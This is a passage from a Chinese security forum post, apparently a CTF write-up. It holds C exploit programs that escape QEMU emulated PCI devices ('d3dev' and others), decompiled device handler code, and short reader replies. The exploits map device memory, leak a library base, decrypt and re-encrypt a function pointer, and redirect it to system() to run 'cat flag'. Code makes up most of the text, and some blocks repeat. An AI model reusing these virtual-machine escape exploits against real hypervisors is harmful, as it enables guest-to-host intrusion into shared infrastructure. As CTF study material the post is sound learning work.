    memset(data,'/',87);
    write_io(2,0x5c,0,data); /////////////////////
    pmio_write(16,0); //decode   //////////////////
    char leak[16];
    read_io(7,8,0x44,leak); /////////////
    printf("[+] leak:0x%s\n",leak);
    //printf("[+] leak:0x%llx\n", leak);
    long long base = *((long long *)leak) - 0x3404F3; //- 0x3401BB;
    long long system = base + 0x2C0AD0;
    printf("[+] base:0x%llx\n",base);
    printf("[+] system:0x%llx\n",system);
 
    write_io(7,0x5c,0x44,&system); //////////////
    char command[] = "cat flag";
    write_io(4,0x3f,0,command);
    pmio_write(12,0);
    return 0;
}
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>
 
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>
 
char* mmio_mem;
int pmio_base = 0xc040;
 
void mmio_write(uint64_t addr, char value) {
    *(char*)(mmio_mem + addr) = value;
}
 
uint64_t mmio_read(uint64_t addr) {
    return *((char *)(mmio_mem + addr));
}
 
void pmio_write(uint32_t addr, uint32_t value)
{
    outl(value, pmio_base + addr);
}
 
uint64_t pmio_read(uint32_t addr)
{
    return inl(pmio_base + addr);
}
 
uint64_t write_io(int idx,int size,int addr,char* data){
    pmio_write(0,idx); //get idx   rsi,rdx
    pmio_write(4,size); // set size    rsi,rdx
    for(int i=0;i<strlen(data);i++)
    {
        mmio_write(addr+i,data[i]);
    }
}
 
uint64_t read_io(int idx,int size,int addr,char* data){
    pmio_write(0,idx);
    for(int i=0;i<size;i++)
    {
        data[i] = mmio_read(addr+i);
    }
}
 
int main()
{
    //init
    int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR | O_SYNC);
    mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0);
    iopl(3);
 
    //char dedata[] = "ZWVlZQ==";//"eHVhbnh1YW4=";
    //char data[100] = {0};
    //write_io(2,0x5c,0,dedata); //idx,size,addr,data
    //pmio_write(16,0); //
    //read_io(6,4,0,data);
    //printf("[+] %s\n",data);
    char data[100] = {0};
    memset(data,0,100);
    memset(data,'/',87);
    write_io(2,0x5c,0,data); /////////////////////
    pmio_write(16,0); //decode   //////////////////
    char leak[16];
    read_io(7,8,0x44,leak); /////////////
    printf("[+] leak:0x%s\n",leak);
    //printf("[+] leak:0x%llx\n", leak);
    long long base = *((long long *)leak) - 0x3404F3; //- 0x3401BB;
    long long system = base + 0x2C0AD0;
    printf("[+] base:0x%llx\n",base);
    printf("[+] system:0x%llx\n",system);
 
    write_io(7,0x5c,0x44,&system); //////////////
    char command[] = "cat flag";
    write_io(4,0x3f,0,command);
    pmio_write(12,0);
    return 0;
}
 
 
 
 
 
 
 
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  uint32_t *key; // rbp
 
  if ( addr == 8 )
  {
    if ( val <= 0x100 )
      opaque->seek = val;
  }
  else if ( addr > 8 )
  {
    if ( addr == 0x1C )
    {
      opaque->r_seed = val;
      key = opaque->key;
      do
        *key++ = (opaque->rand_r)(&opaque->r_seed, 0x1CLL, val, *&size);
      while ( key != &opaque->rand_r );
    }
  }
  else if ( addr )
  {
    if ( addr == 4 )
    {
      *opaque->key = 0LL;
      *&opaque->key[2] = 0LL;
    }
  }
  else
  {
    opaque->memory_mode = val;
  }
}
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  uint32_t *key; // rbp
 
  if ( addr == 8 )
  {
    if ( val <= 0x100 )
      opaque->seek = val;
  }
  else if ( addr > 8 )
  {
    if ( addr == 0x1C )
    {
      opaque->r_seed = val;
      key = opaque->key;
      do
        *key++ = (opaque->rand_r)(&opaque->r_seed, 0x1CLL, val, *&size);
      while ( key != &opaque->rand_r );
    }
  }
  else if ( addr )
  {
    if ( addr == 4 )
    {
      *opaque->key = 0LL;
      *&opaque->key[2] = 0LL;
    }
  }
  else
  {
    opaque->memory_mode = val;
  }
}
 
 
 
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
#include <stdio.h>
#include <unistd.h>
 
unsigned char* mmio_mem;
void setup_mmio() {
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
}
 
void mmio_write(uint32_t addr,uint32_t val){
    *((uint32_t*)(addr+mmio_mem)) = val;
}
 
uint64_t mmio_read(uint64_t addr){
    return *((uint64_t*)(addr+mmio_mem));
}
 
uint32_t pmio_base = 0xc040;
void setup_pmio() {
    iopl(3);  // 0x3ff 以上端口全部开启访问
}
 
uint64_t pmio_read(uint64_t addr){
    return (uint64_t)inl(pmio_base + addr);
}
 
uint64_t pmio_write(uint64_t addr,uint64_t val){
    outl(val,addr+pmio_base);
}
 
 
//因为key=0,所以直接省略掉key进行写加密解密函数。注意exp内的en实际对应的是de
uint64_t en(uint32_t high,uint32_t low){
    uint32_t sum = 0xC6EF3720;
    uint32_t delta = 0x9E3779b9;
    for(int i=0;i<32;i++){
        high -= (low*16) ^ (low+sum) ^ (low>>5);
        low -= (high*16) ^ (high+sum) ^ (high>>5);
        //sum -= delta;
        sum += 0x61C88647;
    }
    return (uint64_t)high * 0x100000000 + low;
}
 
uint64_t de(uint32_t high,uint32_t low){
    uint32_t sum=0;
    uint32_t delta = 0x9E3779b9;
    for(int i=0;i<32;i++){
        //sum += delta;
        sum -= 0x61C88647;
        low += (high*16) ^ (high+sum) ^ (high>>5);
        high += (low*16) ^ (low+sum) ^ (low>>5);
    }
    return (uint64_t)high * 0x100000000 + low;
}
 
int main()
{
    printf("begin!!!!!\n");
    setup_mmio();
    setup_pmio();
    pmio_write(8,0x100); //opaque->seek=0x100
    pmio_write(4,0); //key[0-3]=0
    //0x103
    uint64_t rand_r = mmio_read(24); //decode
    printf("region rand_r:0x%lx\n",rand_r);
    uint64_t randr = de(rand_r/0x100000000,rand_r%0x100000000);
    printf("encode randr:0x%lx\n",randr);
    uint64_t system = randr + 0xa560;
    printf("system:0x%lx\n", system);
    uint64_t encode_system = en(system / 0x100000000, system % 0x100000000);
    printf("encode system:0x%lx\n", encode_system);
 
    uint32_t low_sys = encode_system%0x100000000;
    uint32_t high_sys = encode_system/0x100000000;
    mmio_write(24,low_sys); //只能4字节4字节的写入
    sleep(1);
    mmio_write(24,high_sys);
 
    pmio_write(8,0);
    mmio_write(0,0x67616c66); //blocks: flag
    pmio_write(0x1c,0x20746163); //r_seed: cat
 
    return 0;
}
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
#include <stdio.h>
#include <unistd.h>
 
unsigned char* mmio_mem;
void setup_mmio() {
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
}
 
void mmio_write(uint32_t addr,uint32_t val){
    *((uint32_t*)(addr+mmio_mem)) = val;
}
 
uint64_t mmio_read(uint64_t addr){
    return *((uint64_t*)(addr+mmio_mem));
}
 
uint32_t pmio_base = 0xc040;
void setup_pmio() {
    iopl(3);  // 0x3ff 以上端口全部开启访问
}
 
uint64_t pmio_read(uint64_t addr){
    return (uint64_t)inl(pmio_base + addr);
}
 
uint64_t pmio_write(uint64_t addr,uint64_t val){
    outl(val,addr+pmio_base);
}

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2022-11-18 12:14 被e*16 a编辑 ,原因:
收藏
免费 21
支持
分享
最新回复 (9)
雪    币: 15187
活跃值: (16852)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
2
绝了~牛
2022-11-18 09:25
1
雪    币: 24
活跃值: (1353)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
很6
2022-11-26 12:10
1
雪    币: 1392
活跃值: (3075)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
4
2022-11-26 13:20
2
雪    币: 221
活跃值: (1125)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
射哥,膜
2022-11-30 18:04
0
雪    币: 203
活跃值: (300)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
请问师傅,pipeline这个题目中的libxenctrl-4.9.so => not found是在ibxenctrl-dev这个下的吗?但是找了半天找不到这个包
2023-3-25 00:00
0
雪    币: 3441
活跃值: (6262)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
7
chenepe 请问师傅,pipeline这个题目中的libxenctrl-4.9.so => not found是在ibxenctrl-dev这个下的吗?但是找了半天找不到这个包
应该不是,这个问题大概是qemu的动态链接库问题,考虑换成ubuntu18的虚拟机试试
2023-3-25 11:19
0
雪    币: 203
活跃值: (300)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
e*16 a 应该不是,这个问题大概是qemu的动态链接库问题,考虑换成ubuntu18的虚拟机试试
感谢
2023-3-25 17:32
0
雪    币: 227
活跃值: (189)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
0r2师傅tql
2023-3-29 13:36
0
雪    币: 14517
活跃值: (17538)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
10
感谢分享
2023-3-29 17:58
0
游客
登录 | 注册 方可回帖
返回
//